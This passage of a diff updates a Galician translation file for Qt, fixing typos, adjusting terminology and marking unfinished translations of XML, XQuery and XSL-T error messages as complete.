+ <translation>Non se buscou nada</translation>
</message>
<message>
<source>Recent searches</source>
<comment>label for first item in the menu that appears when clicking on the search field image, used as embedded menu title</comment>
- <translation>Procuras recentes</translation>
+ <translation>Buscas recentes</translation>
</message>
<message>
<source>Clear recent searches</source>
<comment>menu item in Recent Searches menu that empties menu&apos;s contents</comment>
- <translation>Limpar as procuras recentes</translation>
+ <translation>Limpar as buscas recentes</translation>
</message>
<message>
<source>Missing Plug-in</source>
<comment>Label text to be used when a plug-in is missing</comment>
- <translation>Falta a extensión</translation>
+ <translation>Falta o complemento</translation>
</message>
<message>
<source>Unknown</source>
@@ -7129,7 +7196,7 @@ Desexa sobrescribilo?</translation>
<message>
<source>Video Element</source>
<comment>Media controller element</comment>
- <translation>Elemento de video</translation>
+ <translation>Elemento de vídeo</translation>
</message>
<message>
<source>Mute Button</source>
@@ -7239,7 +7306,7 @@ Desexa sobrescribilo?</translation>
<message>
<source>Movie time scrubber thumb</source>
<comment>Media controller element</comment>
- <translation>Minuatura do cursor de posición do filme</translation>
+ <translation>Miniatura do cursor de posición do filme</translation>
</message>
<message>
<source>Rewind movie</source>
@@ -7881,7 +7948,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>Start tag expected.</source>
- <translation>Agardábase unha etiquera de inicio.</translation>
+ <translation>Agardábase unha etiqueta de inicio.</translation>
</message>
<message>
<source>NDATA in parameter entity declaration.</source>
@@ -7893,7 +7960,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>%1 is an invalid processing instruction name.</source>
- <translation>%1 é un nome non válido de intrucción de procesamento.</translation>
+ <translation>%1 é un nome non válido de instrución de procesamento.</translation>
</message>
<message>
<source>Invalid processing instruction name.</source>
@@ -7925,7 +7992,7 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>Invalid character reference.</source>
- <translation>Referencia a un caracter non válido.</translation>
+ <translation>Referencia a un carácter non válido.</translation>
</message>
</context>
<context>
@@ -8124,15 +8191,16 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.</source>
- <translation type="unfinished"></translation>
+ <translation>O nome de destino nunha instrución de procesamento non pode ser %1 en ningunha combinación de maiúsculas nin minúsculas, polo que
+%2 non é válido.</translation>
</message>
<message>
<source>%1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.</source>
- <translation type="unfinished"></translation>
+ <translation>%1 non é un nome válido de destino dunha instrución de procesamento. Debe ser un valor %2, p. ex. %3.</translation>
</message>
<message>
<source>The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.</source>
- <translation>O último paso nunha rota debe conter ou nodos ou valores atómicos. Non pode ser unha mistura dos dous.</translation>
+ <translation>O último paso nunha ruta debe conter ou nodos ou valores atómicos. Non pode ser unha mistura dos dous.</translation>
</message>
<message>
<source>The data of a processing instruction cannot contain the string %1</source>
@@ -8202,1627 +8270,1555 @@ Desexa sobrescribilo?</translation>
</message>
<message>
<source>%1 must be followed by %2 or %3, not at the end of the replacement string.</source>
- <translation type="unfinished">%1 debe estar seguido por %2 ou %3, non na fin da cadea substituta.</translation>
+ <translation>%1 debe estar seguido por %2 ou %3, non na fin da cadea substituta.</translation>
</message>
<message>
<source>In the replacement string, %1 must be followed by at least one digit when not escaped.</source>
- <translation type="unfinished">Na cadea substituta, %1 debe ir seguido de cando menos un díxito cando non
-estea escapada.</translation>
+ <translation>Na cadea substituta, %1 debe ir seguido de cando menos un díxito cando non estea escapada.</translation>
</message>
<message>
<source>In the replacement string, %1 can only be used to escape itself or %2, not %3</source>
- <translation type="unfinished">Na cadea substituta, %1 só pode ser usado para escaparse a si mesmo ou %2,
-non %3.</translation>
+ <translation>Na cadea substituta %1 só pode ser usado para escaparse a si mesmo ou a %2, non a %3.</translation>
</message>
<message>
<source>%1 matches newline characters</source>
- <translation type="unfinished">%1 casa con caracteres de nova liña</translation>
+ <translation>%1 casa con caracteres de nova liña</translation>
</message>
<message>
<source>%1 and %2 match the start and end of a line.</source>
- <translation type="unfinished">%1 e %2 casan con comezo e fin de liña</translation>
+ <translation>%1 e %2 casan con comezo e fin de liña.</translation>
</message>
<message>
<source>Matches are case insensitive</source>
- <translation type="unfinished">As concordancias non son sensíbeis á capitalización</translation>
+ <translation>As concordancias non son sensíbeis á capitalización</translation>
</message>
<message>
<source>Whitespace characters are removed, except when they appear in character classes</source>
- <translation type="unfinished">Os espazos en branco son eliminados, excepto se aparecen en clases de
-caracteres</translation>
+ <translation>Os espazos en branco son eliminados, excepto se aparecen en clases de caracteres</translation>
</message>
<message>
<source>%1 is an invalid regular expression pattern: %2</source>
- <translation type="unfinished">%1 é un padrón non válido de expresión regular: %2</translation>
+ <translation>%1 é un padrón non válido de expresión regular: %2</translation>
</message>
<message>
<source>%1 is an invalid flag for regular expressions. Valid flags are:</source>
- <translation type="unfinished">%1 é unha bandeira non válida de expresión regular. As valedoiras son:</translation>
+ <translation>%1 é unha bandeira non válida de expresión regular. As valedoiras son:</translation>
</message>
<message>
<source>If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.</source>
- <translation type="unfinished">Se o primeiro argumento é a secuencia baleira ou unha cadea de lonxitude
-cero (sen espazo de nomes), non se pode especificar un prefixo.
-Especificouse o prefixo %1.</translation>
+ <translation>Se o primeiro argumento é a secuencia baleira ou unha cadea de lonxitude cero (sen espazo de nomes), non se pode especificar un prefixo. Especificouse o prefixo %1.</translation>
</message>
<message>
<source>It will not be possible to retrieve %1.</source>
- <translation type="unfinished">Non será posíbel acadar %1.</translation>
+ <translation>Non será posíbel acadar %1.</translation>
</message>
<message>
<source>The default collection is undefined</source>
- <translation type="unfinished">Non se definiu a colección predeterminada.</translation>
+ <translation>Non se definiu a colección predeterminada</translation>
</message>
<message>
<source>%1 cannot be retrieved</source>
- <translation type="unfinished">Non é posíbel acadar %1</translation>
+ <translation>Non é posíbel acadar %1</translation>
</message>
<message>
<source>The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).</source>
- <translation type="unfinished">A forma de normalización %1 non está soportada. As formas soportadas son %2,
-%3, %4, %5 e ningunha, i.e. a cadea en branco (sen normalización).</translation>
+ <translation>A forma de normalización %1 non está soportada. As formas soportadas son %2, %3, %4, %5 e ningunha, i.e. a cadea en branco (sen normalización).</translation>
</message>
<message>
<source>A zone offset must be in the range %1..%2 inclusive. %3 is out of range.</source>
- <translation type="unfinished">O desprazamento de zona debe estar no intervalo %1..%2 inclusive. %3 está
-fora de intervalo.</translation>
+ <translation>O desprazamento de zona debe estar no intervalo %1..%2 inclusive. %3 está fora de intervalo.</translation>
</message>
<message>
<source>%1 is not a whole number of minutes.</source>
- <translation type="unfinished">%1 non é un número absoluto de minutos.</translation>
+ <translation>%1 non é un número absoluto de minutos.</translation>
</message>
<message>
<source>The URI cannot have a fragment</source>
- <translation type="unfinished">A URI non pode ter un anaco</translation>
+ <translation>A URI non pode ter un anaco</translation>
</message>
<message>
<source>Required cardinality is %1; got cardinality %2.</source>
- <translation type="unfinished">A cardinalidade requirida é %1; obtívose a cardinalidade %2.</translation>
+ <translation>A cardinalidade requirida é %1; obtívose a cardinalidade %2.</translation>
</message>
<message>
<source>The item %1 did not match the required type %2.</source>
- <translation type="unfinished">O ítem %1 non é do tipo requirido %2.</translation>
+ <translation>O elemento %1 non é do tipo requirido %2.</translation>
</message>
<message>
<source>The variable %1 is unused</source>
- <translation type="unfinished">A variábel %1 non é usada</translation>
+ <translation>A variábel %1 non é usada</translation>
</message>
<message>
<source>W3C XML Schema identity constraint selector</source>
- <translation type="unfinished">Selector de restrición de identidade do esquema XML do W3C</translation>
+ <translation>Selector de restrición de identidade do esquema XML do W3C</translation>
</message>
<message>
<source>W3C XML Schema identity constraint field</source>
- <translation type="unfinished">Campo de restrición de identidade do esquema XML do W3C</translation>
+ <translation>Campo de restrición de identidade do esquema XML do W3C</translation>
</message>
<message>
<source>A construct was encountered which is disallowed in the current language(%1).</source>
- <translation type="unfinished">Atopouse unha construción que non está permitida na linguaxe actual (%1).</translation>
+ <translation>Atopouse unha construción que non está permitida na linguaxe actual (%1).</translation>
</message>
<message>
<source>%1 is an unknown schema type.</source>
- <translation type="unfinished">%1 é un tipo de esquema descoñecido.</translation>
+ <translation>%1 é un tipo de esquema descoñecido.</translation>
</message>
<message>
<source>A template with name %1 has already been declared.</source>
- <translation type="unfinished">Xa se declarou un modelo co nome %1.</translation>
+ <translation>Xa se declarou un modelo co nome %1.</translation>
</message>
<message>
<source>%1 is not a valid numeric literal.</source>
- <translation type="unfinished">%1 non é un texto numérico válido.</translation>
+ <translation>%1 non é un texto numérico válido.</translation>
</message>
<message>
<source>Only one %1 declaration can occur in the query prolog.</source>
- <translation type="unfinished">Só pode haber unha declaración de %1 no prólogo da procura.</translation>
+ <translation>Só pode haber unha declaración de %1 no prólogo da procura.</translation>
</message>
<message>
<source>The initialization of variable %1 depends on itself</source>
- <translation type="unfinished">A inicialización da variábel %1 depende de si mesma</translation>
+ <translation>A inicialización da variábel %1 depende de si mesma</translation>
</message>
<message>
<source>No variable with name %1 exists</source>
- <translation type="unfinished">Non hai ningunha variábel chamada %1</translation>
+ <translation>Non hai ningunha variábel chamada %1</translation>
</message>
<message>
<source>Version %1 is not supported. The supported XQuery version is 1.0.</source>
- <translation type="unfinished">Non está soportada a versión %1. A versión soportada de XQuery é a 1.0.</translation>
+ <translation>Non está soportada a versión %1. A versión soportada de XQuery é a 1.0.</translation>
</message>
<message>
<source>The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.</source>
- <translation type="unfinished">A codificación %1 non é válida. Só debe conter caracteres Latinos, non pode
-conter espazos, e debe casar coa expresión regular %2.</translation>
+ <translation>A codificación %1 non é válida. Só debe conter caracteres Latinos, non pode conter espazos, e debe casar coa expresión regular %2.</translation>
</message>
<message>
<source>No function with signature %1 is available</source>
- <translation type="unfinished">Non está dispoñíbel ningunha función coa sinatura %1</translation>
+ <translation>Non está dispoñíbel ningunha función coa sinatura %1</translation>
</message>
<message>
<source>A default namespace declaration must occur before function, variable, and option declarations.</source>
- <translation type="unfinished">Debe haber unha declaración dun espazo de nomes predeterminado antes das
-declaracións de funcións, variábeis e opcións.</translation>
+ <translation>Debe haber unha declaración dun espazo de nomes predeterminado antes das declaracións de funcións, variábeis e opcións.</translation>
</message>
<message>
<source>Namespace declarations must occur before function, variable, and option declarations.</source>
- <translation type="unfinished">Debe haber declaracións dun espazo de nomes antes das declaracións de
-funcións, variábeis e opcións.</translation>
+ <translation>Debe haber declaracións dun espazo de nomes antes das declaracións de funcións, variábeis e opcións.</translation>
</message>
<message>
<source>Module imports must occur before function, variable, and option declarations.</source>
- <translation type="unfinished">As importacións de módulos deben estar antes das declaracións de funcións,
-variábeis e opcións.</translation>
+ <translation>As importacións de módulos deben estar antes das declaracións de funcións, variábeis e opcións.</translation>
</message>
<message>
<source>The keyword %1 cannot occur with any other mode name.</source>
- <translation type="unfinished">A palabra-chave %1 só pode aparecer con calquera outro nome de modo.</translation>
+ <translation>A palabra-chave %1 só pode aparecer con calquera outro nome de modo.</translation>
</message>
<message>
<source>The value of attribute %1 must be of type %2, which %3 isn&apos;t.</source>
- <translation type="unfinished">O valor do atributo %1 debe ser do tipo %2 e %3 non o é.</translation>
+ <translation>O valor do atributo %1 debe ser do tipo %2 e %3 non o é.</translation>
</message>
<message>
<source>It is not possible to redeclare prefix %1.</source>
- <translation type="unfinished">Non é posíbel declarar de novo o prefixo %1.</translation>
+ <translation>Non é posíbel declarar de novo o prefixo %1.</translation>
</message>
<message>
<source>The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.</source>
- <translation type="unfinished">Non foi posíbel atopar o prefixo %1. Por omisión, xa está vinculado co
-espazo de nomes %2.</translation>
+ <translation>Non foi posíbel vincular o prefixo %1. Por omisión, xa está vinculado co espazo de nomes %2.</translation>
</message>
<message>
<source>Prefix %1 is already declared in the prolog.</source>
- <translation type="unfinished">O prefixo %1 xa está declarado no prólogo.</translation>
+ <translation>O prefixo %1 xa está declarado no prólogo.</translation>
</message>
<message>
<source>The name of an option must have a prefix. There is no default namespace for options.</source>
- <translation type="unfinished">O nome dunha opción debe ter un prefixo. Non hai un espazo de nomes
-predeterminado para as opcións.</translation>
+ <translation>O nome dunha opción debe ter un prefixo. Non hai un espazo de nomes predeterminado para as opcións.</translation>
</message>
<message>
<source>The Schema Import feature is not supported, and therefore %1 declarations cannot occur.</source>
- <translation type="unfinished">A funcionalidade de Importación de Esquema non está soportada, polo tanto
-non pode haber declaracións %1.</translation>
+ <translation>A funcionalidade de Importación de Esquema non está soportada, polo tanto non pode haber declaracións %1.</translation>
</message>
<message>
<source>The target namespace of a %1 cannot be empty.</source>
- <translation type="unfinished">O espazo de nomes de destino dun %1 non pode estar en branco.</translation>
+ <translation>O espazo de nomes de destino dun %1 non pode estar en branco.</translation>
</message>
<message>
<source>The module import feature is not supported</source>
- <translation type="unfinished">A funcionalidade de importación de módulos non está soportada</translation>
+ <translation>A funcionalidade de importación de módulos non está soportada</translation>
</message>
<message>
<source>A variable with name %1 has already been declared.</source>
- <translation type="unfinished">Xa foi declarada unha variábel co nome %1.</translation>
+ <translation>Xa foi declarada unha variábel co nome %1.</translation>
</message>
<message>
<source>No value is available for the external variable with name %1.</source>
- <translation type="unfinished">Non se dispón de ningún valor para a variábel externa chamada %1.</translation>
+ <translation>Non se dispón de ningún valor para a variábel externa chamada %1.</translation>
</message>
<message>
<source>A stylesheet function must have a prefixed name.</source>
- <translation type="unfinished">As funcións de folla de estilo deben ter un nome con prefixo.</translation>
+ <translation>As funcións de folla de estilo deben ter un nome con prefixo.</translation>
</message>
<message>
<source>The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)</source>
- <translation type="unfinished">O espazo de nomes das funcións definidas polo usuario non pode estar en
-branco (probe co prefixo predefinido %1, que está para casos como este)</translation>
+ <translation>O espazo de nomes das funcións definidas polo usuario non pode estar en branco (probe co prefixo predefinido %1, que está para casos como este)</translation>
</message>
<message>
<source>The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.</source>
- <translation type="unfinished">O espazo de nomes %1 está reservado; polo tanto as funcións definidas polo
-usuario non poden usalo. Ténteo co prefixo predefinido %2, que está para
-casos como este.</translation>
+ <translation>O espazo de nomes %1 está reservado; polo tanto as funcións definidas polo usuario non poden usalo. Ténteo co prefixo predefinido %2, que está para casos como este.</translation>
</message>
<message>
<source>The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2</source>
- <translation type="unfinished">O espazo de nomes dunha función definida polo usuario nun módulo de
-biblioteca debe ser equivalente ao espazo de nomes do módulo. Con outras
-verbas: debe ser %1 no canto de %2</translation>
+ <translation>O espazo de nomes dunha función definida polo usuario nun módulo de biblioteca debe ser equivalente ao espazo de nomes do módulo. Con outras verbas: debe ser %1 no canto de %2</translation>
</message>
<message>
<source>A function already exists with the signature %1.</source>
- <translation type="unfinished">Xa existe unha función coa sinatura %1.</translation>
+ <translation>Xa existe unha función coa sinatura %1.</translation>
</message>
<message>
<source>No external functions are supported. All supported functions can be used directly, without first declaring them as external</source>
- <translation type="unfinished">Non se soportan as funcións externas. Todas as funcións soportadas poden ser
-usadas directamente, non fai falla declaralas como externas</translation>
+ <translation>Non se soportan as funcións externas. Todas as funcións soportadas poden ser usadas directamente, non fai falla declaralas como externas</translation>
</message>
<message>
<source>An argument with name %1 has already been declared. Every argument name must be unique.</source>
- <translation type="unfinished">Xa foi declarado un argumento co nome %1. O nome de cada argumento debe ser
-único.</translation>
+ <translation>Xa foi declarado un argumento co nome %1. O nome de cada argumento debe ser único.</translation>
</message>
<message>
<source>When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.</source>
- <translation type="unfinished">Cando se emprega unha función %1 para procurar nun patrón, o argumento debe
-ser unha referencia variábel ou unha cadea literal.</translation>
+ <translation>Cando se emprega unha función %1 para procurar nun patrón, o argumento debe ser unha referencia variábel ou unha cadea literal.</translation>
</message>
<message>
<source>In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.</source>
- <translation type="unfinished">Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada
-para facer procuras debe ser unha cadea de texto.</translation>
+ <translation>Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada para facer procuras debe ser unha cadea de texto.</translation>
</message>
<message>
<source>In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.</source>
- <translation type="unfinished">Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada
-para facer procuras debe ser unha cadea de texto ou unha referencia variábel.</translation>
+ <translation>Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada para facer procuras debe ser unha cadea de texto ou unha referencia variábel.</translation>
</message>
<message>
<source>In an XSL-T pattern, function %1 cannot have a third argument.</source>
- <translation type="unfinished">Nun patrón XSL-T, a función %1 non pode ter un terceiro argumento.</translation>
+ <translation>Nun patrón XSL-T, a función %1 non pode ter un terceiro argumento.</translation>
</message>
<message>
<source>In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.</source>
- <translation type="unfinished">Nun patrón XSL-T, só pode empregar para procuras as funcións %1 e %2, non a %
-3.</translation>
+ <translation>Nun patrón XSL-T, só pode empregar para procuras as funcións %1 e %2, non a %3.</translation>
</message>
<message>
<source>In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.</source>
- <translation type="unfinished">Nun patrón XSL-T non pode empregarse o eixo %1, só os %2 e %3.</translation>
+ <translation>Nun patrón XSL-T non pode empregarse o eixo %1, só os %2 e %3.</translation>
</message>
<message>
<source>%1 is an invalid template mode name.</source>
- <translation type="unfinished">%1 non é un nome de modo válido do modelo.</translation>
+ <translation>%1 non é un nome de modo válido do modelo.</translation>
</message>
<message>
<source>The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.</source>
- <translation type="unfinished">O nome dunha variábel asociada a unha expresión for debe ser diferente da
-variábel posicional. Por isto, as dúas variábeis chamadas %1 chocan.</translation>
+ <translation>O nome dunha variábel asociada a unha expresión for debe ser diferente da variábel posicional. Por isto, as dúas variábeis chamadas %1 chocan.</translation>
</message>
<message>
<source>The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.</source>
- <translation type="unfinished">Non está soportada a funcionalidade de Validación do Esquema. Polo tanto, as
-expresións %1 non poden ser usadas.</translation>
+ <translation>Non está soportada a funcionalidade de Validación do Esquema. Polo tanto, as expresións %1 non poden ser usadas.</translation>
</message>
<message>
<source>None of the pragma expressions are supported. Therefore, a fallback expression must be present</source>
- <translation type="unfinished">Non está soportada ningunha das expresións pragma. Polo tanto, debe haber
-presente unha expresión de reserva</translation>
+ <translation>Non está soportada ningunha das expresións pragma. Polo tanto, debe haber presente unha expresión de reserva</translation>
</message>
<message>
<source>Each name of a template parameter must be unique; %1 is duplicated.</source>
- <translation type="unfinished">Os nomes dos parámetros do modelo deben ser únicos, %1 está duplicado.</translation>
+ <translation>Os nomes dos parámetros do modelo deben ser únicos, %1 está duplicado.</translation>
</message>
<message>
<source>The %1-axis is unsupported in XQuery</source>
- <translation type="unfinished">Non está soportado o eixo %1 en XQuery</translation>
+ <translation>Non está soportado o eixo %1 en XQuery</translation>
</message>
<message>
<source>No function with name %1 is available.</source>
- <translation type="unfinished">Non hai ningunha función chamada %1.</translation>
+ <translation>Non hai ningunha función chamada %1.</translation>
</message>
<message>
<source>The namespace URI cannot be the empty string when binding to a prefix, %1.</source>
- <translation type="unfinished">A URI do espazo de nomes non pode ser unha cadea valeira cando se estexa a
-asociar cun prefixo, %1.</translation>
+ <translation>A URI do espazo de nomes non pode ser unha cadea valeira cando se estea a asociar cun prefixo, %1.</translation>
</message>
<message>
<source>%1 is an invalid namespace URI.</source>
- <translation type="unfinished">%1 non é unha URI válida de espazo de nomes.</translation>
+ <translation>%1 non é unha URI válida de espazo de nomes.</translation>
</message>
<message>
<source>It is not possible to bind to the prefix %1</source>
- <translation type="unfinished">Non é posíbel asociar co prefixo %1</translation>
+ <translation>Non é posíbel asociar co prefixo %1</translation>
</message>
<message>
<source>Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation type="unfinished">O espazo de nomes %1 só pode estar vinculado a %2 (e está, en calquera caso,
-predeclarado).</translation>
+ <translation>O espazo de nomes %1 só pode estar vinculado a %2 (e está, en calquera caso, predeclarado).</translation>
</message>
<message>
<source>Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation type="unfinished">O prefixo %1 só pode estar vinculado a %2 (e está, en calquera caso,
-predeclarado).</translation>
+ <translation>O prefixo %1 só pode estar vinculado a %2 (e está, en calquera caso, predeclarado).</translation>
</message>
<message>
<source>Two namespace declaration attributes have the same name: %1.</source>
- <translation type="unfinished">Dous atributos na declaración dun espazo de nomes teñen o mesmo nome: %1.</translation>
+ <translation>Dous atributos na declaración dun espazo de nomes teñen o mesmo nome: %1.</translation>
</message>
<message>
<source>The namespace URI must be a constant and cannot use enclosed expressions.</source>
- <translation type="unfinished">A URI do espazo de nomes debe ser constante e non pode conter expresións.</translation>
+ <translation>A URI do espazo de nomes debe ser constante e non pode conter expresións.</translation>
</message>
<message>
<source>An attribute with name %1 has already appeared on this element.</source>
- <translation type="unfinished">Xa apareceu un atributo co nome %1 neste elemento.</translation>
+ <translation>Xa apareceu un atributo co nome %1 neste elemento.</translation>
</message>
<message>
<source>A direct element constructor is not well-formed. %1 is ended with %2.</source>
- <translation type="unfinished">Hai un construtor directo dun elemento que non está ben formado. %1 remata
-con %2.</translation>
+ <translation>Hai un construtor directo dun elemento que non está ben formado. %1 remata con %2.</translation>
</message>
<message>
<source>The name %1 does not refer to any schema type.</source>
- <translation type="unfinished">O nome %1 non se refire a ningún tipo de esquema.</translation>
+ <translation>O nome %1 non se refire a ningún tipo de esquema.</translation>
</message>
<message>
<source>%1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.</source>
- <translation type="unfinished">%1 é un tipo complexo. Non é posíbel converter a tipos complexos. Porén, si
-que pode converter a tipos atómicos como %2.</translation>
+ <translation>%1 é un tipo complexo. Non é posíbel converter a tipos complexos. Porén, si que pode converter a tipos atómicos como %2.</translation>
</message>
<message>
<source>%1 is not an atomic type. Casting is only possible to atomic types.</source>
- <translation type="unfinished">%1 non é un tipo atómico. Só é posíbel converter a tipos atómicos.</translation>
+ <translation>%1 non é un tipo atómico. Só é posíbel converter a tipos atómicos.</translation>
</message>
<message>
<source>%1 is not a valid name for a processing-instruction.</source>
- <translation type="unfinished">%1 non é un nome válido para unha instrución de procesamento.</translation>
+ <translation>%1 non é un nome válido para unha instrución de procesamento.</translation>
</message>
<message>
<source>%1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.</source>
- <translation type="unfinished">%1 non está nas declaracións de atributos ao alcance. Lembre que non está
-soportada a funcionalidade de importación de esquemas.</translation>
+ <translation>%1 non está nas declaracións de atributos ao alcance. Lembre que non está soportada a funcionalidade de importación de esquemas.</translation>
</message>
<message>
<source>The name of an extension expression must be in a namespace.</source>
- <translation type="unfinished">O nome dunha expresión de extensión debe estar nun espazo de nomes.</translation>
+ <translation>O nome dunha expresión de extensión debe estar nun espazo de nomes.</translation>
</message>
<message>
<source>Element %1 is not allowed at this location.</source>
- <translation type="unfinished">Neste lugar non se permite o elemento %1.</translation>
+ <translation>Neste lugar non se permite o elemento %1.</translation>
</message>
<message>
<source>Text nodes are not allowed at this location.</source>
- <translation type="unfinished">Neste lugar non se permiten nodos de texto.</translation>
+ <translation>Neste lugar non se permiten nodos de texto.</translation>
</message>
<message>
<source>Parse error: %1</source>
- <translation type="unfinished">Erro de procesamento: %1</translation>
+ <translation>Erro de procesamento: %1</translation>
</message>
<message>
<source>The value of the XSL-T version attribute must be a value of type %1, which %2 isn&apos;t.</source>
- <translation type="unfinished">O valor do atributo da versión de XSL-T debe ser un valor do tipo %1, e %2
-non o é.</translation>
+ <translation>O valor do atributo da versión de XSL-T debe ser un valor do tipo %1, e %2 non o é.</translation>
</message>
<message>
<source>Running an XSL-T 1.0 stylesheet with a 2.0 processor.</source>
- <translation type="unfinished">A executar unha folla de estilos XSL-T 1.0 cun procesador 2.0.</translation>
+ <translation>A executar unha folla de estilos XSL-T 1.0 cun procesador 2.0.</translation>
</message>
<message>
<source>Unknown XSL-T attribute %1.</source>
- <translation type="unfinished">Non se coñece o atributo XSL-T %1.</translation>
+ <translation>Non se coñece o atributo XSL-T %1.</translation>
</message>
<message>
<source>Attribute %1 and %2 are mutually exclusive.</source>
- <translation type="unfinished">Os atributos %1 e %2 exclúense mutuamente.</translation>
+ <translation>Os atributos %1 e %2 exclúense mutuamente.</translation>
</message>
<message>
<source>In a simplified stylesheet module, attribute %1 must be present.</source>
- <translation type="unfinished">Nun módulo de folla de estilos simplificada debe estar presente o atributo %
-1.</translation>
+ <translation>Nun módulo de folla de estilos simplificada debe estar presente o atributo %1.</translation>
</message>
<message>
<source>If element %1 has no attribute %2, it cannot have attribute %3 or %4.</source>
- <translation type="unfinished">Se o elemento %1 non ten o atributo %2 non pode ter os atributos %3 nin %4.</translation>
+ <translation>Se o elemento %1 non ten o atributo %2 non pode ter os atributos %3 nin %4.</translation>
</message>
<message>
<source>Element %1 must have at least one of the attributes %2 or %3.</source>
- <translation type="unfinished">O elemento %1 debe ter polo menos un dos atributos %2 ou %3.</translation>
+ <translation>O elemento %1 debe ter polo menos un dos atributos %2 ou %3.</translation>
</message>
<message>
<source>At least one mode must be specified in the %1-attribute on element %2.</source>
- <translation type="unfinished">Debe especificarse polo menos un modo no atributo %1 do elemento %2.</translation>
+ <translation>Debe especificarse polo menos un modo no atributo %1 do elemento %2.</translation>
</message>
<message>
<source>Element %1 must come last.</source>
- <translation type="unfinished">O elemento %1 debe ir o último.</translation>
+ <translation>O elemento %1 debe ir o último.</translation>
</message>
<message>
<source>At least one %1-element must occur before %2.</source>
- <translation type="unfinished">Debe estar presente polo menos un elemento %1 antes de %2.</translation>
+ <translation>Debe estar presente polo menos un elemento %1 antes de %2.</translation>
</message>
<message>
<source>Only one %1-element can appear.</source>
- <translation type="unfinished">Só pode aparecer un elemento %1.</translation>
+ <translation>Só pode aparecer un elemento %1.</translation>
</message>
<message>
<source>At least one %1-element must occur inside %2.</source>
- <translation type="unfinished">Debe estar presente polo menos un elemento %1 dentro de %2.</translation>
+ <translation>Debe estar presente polo menos un elemento %1 dentro de %2.</translation>
</message>
<message>
<source>When attribute %1 is present on %2, a sequence constructor cannot be used.</source>
- <translation type="unfinished">Non se pode empregar un construtor de secuencia cando o atributo %1 está
-presente en %2.</translation>
+ <translation>Non se pode empregar un construtor de secuencia cando o atributo %1 está presente en %2.</translation>
</message>
<message>
<source>Element %1 must have either a %2-attribute or a sequence constructor.</source>
- <translation type="unfinished">O elemento %1 debe ter ou un atributo %2 ou un construtor de secuencia.</translation>
+ <translation>O elemento %1 debe ter ou un atributo %2 ou un construtor de secuencia.</translation>
</message>
<message>
<source>When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.</source>
- <translation type="unfinished">Non se pode subministrar un valor predeterminado mediante un atributo %1 nin
-un construtor de secuencia cando se require un parámetro.</translation>
+ <translation>Non se pode subministrar un valor predeterminado mediante un atributo %1 nin un construtor de secuencia cando se require un parámetro.</translation>
</message>
<message>
<source>Element %1 cannot have children.</source>
- <translation type="unfinished">O elemento %1 non pode ter fillos.</translation>
+ <translation>O elemento %1 non pode ter fillos.</translation>
</message>
<message>
<source>Element %1 cannot have a sequence constructor.</source>
- <translation type="unfinished">O elemento %1 non pode ter un construtor de secuencia.</translation>
+ <translation>O elemento %1 non pode ter un construtor de secuencia.</translation>
</message>
<message>
<source>The attribute %1 cannot appear on %2, when it is a child of %3.</source>
- <translation type="unfinished">O atributo %1 non pode aparecer en %2 cando é filla de %3.</translation>
+ <translation>O atributo %1 non pode aparecer en %2 cando é filla de %3.</translation>
</message>
<message>
<source>A parameter in a function cannot be declared to be a tunnel.</source>
- <translation type="unfinished">Non se pode declarar como túnel un parámetro nunha función.</translation>
+ <translation>Non se pode declarar como túnel un parámetro nunha función.</translation>
</message>
<message>
<source>This processor is not Schema-aware and therefore %1 cannot be used.</source>
- <translation type="unfinished">Este procesador non é coñecedor do Schema e polo tanto %1 non pode
-empregarse.</translation>
+ <translation>Este procesador non é coñecedor do Schema e polo tanto %1 non pode empregarse.</translation>
</message>
<message>
<source>Top level stylesheet elements must be in a non-null namespace, which %1 isn&apos;t.</source>
- <translation type="unfinished">Os elementos da folla de estilo de máximo nivel debe estar nun espazo de
-nomes non nulo, e %1 non o é.</translation>
+ <translation>Os elementos da folla de estilo de máximo nivel debe estar nun espazo de nomes non nulo, e %1 non o é.</translation>
</message>
<message>
<source>The value for attribute %1 on element %2 must either be %3 or %4, not %5.</source>
- <translation type="unfinished">O valor do atributo %1 no elemento %2 debe ser %3 ou %4, non %5.</translation>
+ <translation>O valor do atributo %1 no elemento %2 debe ser %3 ou %4, non %5.</translation>
</message>
<message>
<source>Attribute %1 cannot have the value %2.</source>
- <translation type="unfinished">O atributo %1 non pode ter o valor %2.</translation>
+ <translation>O atributo %1 non pode ter o valor %2.</translation>
</message>
<message>
<source>The attribute %1 can only appear on the first %2 element.</source>
- <translation type="unfinished">O atributo %1 só pode aparecer no primeiro elemento %2.</translation>
+ <translation>O atributo %1 só pode aparecer no primeiro elemento %2.</translation>
</message>
<message>
<source>At least one %1 element must appear as child of %2.</source>
- <translation type="unfinished">Debe aparecer cando menos un elemento %1 como fillo de %2.</translation>
